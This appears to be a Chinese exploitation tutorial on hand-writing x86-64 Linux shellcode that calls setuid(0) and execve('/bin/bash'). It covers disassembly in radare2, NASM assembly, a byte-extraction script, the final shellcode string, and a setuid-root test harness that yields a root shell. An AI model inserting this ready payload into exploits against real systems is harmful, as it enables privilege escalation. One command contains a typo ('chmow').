shellcode编写
retsh.c
// retsh.c
#include<unistd.h>
char* buff[] = {
"/bin/bash"
};
void main(){
setuid(0);
execve("/bin/bash", buff, NULL);
}
rz$ gcc retsh.c -static -o retsh
rz$ sudo chown root.root retsh
rz$ sudo chmod u+s retsh
rz$ ./retsh
root# whoami
root
分析生成的文件
rz$ r2 retsh
> s main
> pdf
| sym.main ();
| 0x00400b4d 55 push rbp
| 0x00400b4e 4889e5 mov rbp, rsp
| 0x00400b51 bf00000000 mov edi, 0
| 0x00400b56 e8957f0400 call sym.__setuid # setuid
| 0x00400b5b ba00000000 mov edx, 0
| 0x00400b60 488d3589852b. lea rsi, obj.buff ; 0x6b90f0
| 0x00400b67 488d3d561409. lea rdi, str.bin_bash ; 0x491fc4 ; "/bin/bash"
| 0x00400b6e e84d7f0400 call sym.execve # execve
> s sym.__setuid
> pdf
| sym.__setuid (int arg1);
| 0x00448af0 4883ec38 sub rsp, 0x38 ; '8'
| 0x00448af4 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00448afd 4889442428 mov qword [local_28h], rax
| 0x00448b02 31c0 xor eax, eax
| 0x00448b04 48833dc40427. cmp qword [0x006b8fd0], 0
| ,=< 0x00448b0c 752a jne 0x448b38
| | 0x00448b0e b869000000 mov eax, 0x69 ; 'i' ; 105
| | 0x00448b13 0f05 syscall
> s sym.execve
> pdf
| sym.execve ();
| 0x00448ac0 b83b000000 mov eax, 0x3b ; ';' ; 59
| 0x00448ac5 0f05 syscall
如上,编写相应的汇编代码
注:/bin/bash
转换为16进制表示为0x2f62696e2f62617368
,由于内存中是小端存储,将其反转为0x687361622f6e69622f
,长度18,可以先将0x68
压栈,在将0x7361622f6e69622f
压栈,此时,rsp
所指向的字符串为/bin/bash
,将rdi指向此处即可。
; shell.asm
global _start
_start:
xor rdi, rdi
; setuid(0)
xor eax, eax
mov al, 0x69
syscall ; setuid
xor rax, rax
mov al, 0x68
push rax
mov rax, 0x7361622f6e69622f
push rax
mov rdi, rsp ; str.bin_bash; "/bin/bash"
xor rax, rax
push rax
mov rax, rsp
push rax ; 此时rsp就是 "/bin/bash"地址的指针
mov rsi, rsp ; obj.buff; {"/bin/bash"}
;xor rsi, rsi
xor edx, edx ; edx
; execve("/bin/bash", {"/bin/bash"}, NULL)
xor eax, eax
mov al, 0x3b
syscall ; execve
编译链接
rz$ nasm -f elf64 shell.asm -o shell.o
rz$ ld shell.o -o shell
提取shellcode
# extract.sh
if [ $# != 1 ]; then
echo "Usage: $1 obj.o"
else
for i in `objdump -d $1 | grep "^[[:space:]]*[0-9a-f]\+:" | cut -f 2`; do
echo -n \\x$i
done
echo
fi
在提取之前先观察shellcode,会发现很多00字符,需要进行修改过滤掉这些怀字符,如下:
- 修改前:
- 修改后:
之后提取shellcode:
` \x48\x31\xff\x31\xc0\xb0\x69\x0f\x05\x48\x31\xc0\xb0\x68\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\x31\xc0\x50\x48\x89\xe0\x50\x48\x89\xe6\x31\xd2\x31\xc0\xb0\x3b\x0f\x05 `
验证
为了验证shellcode可以编写一个简单的c程序:
#include<stdio.h>
char* shellcode = "\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05"
"\x48\x31\xc0\xb0\x68\x50\x48\xb8\x2f\x62\x69"
"\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\x31\xc0\x50\x48"
"\x89\xe0\x50\x48\x89\xe6\x31\xd2\x31\xc0\xb0\x3b\x0f\x05";
void main(){
puts("shellcode ~~~");
((void (*)(void))shellcode)(); //将shellcode当作函数执行
}
rz$ gcc shell.c -o shell.out
rz$ sudo chown root.root shell.out
rz$ sudo chmow u+s shell.out
rz$ ./shell.out
root# whoami
root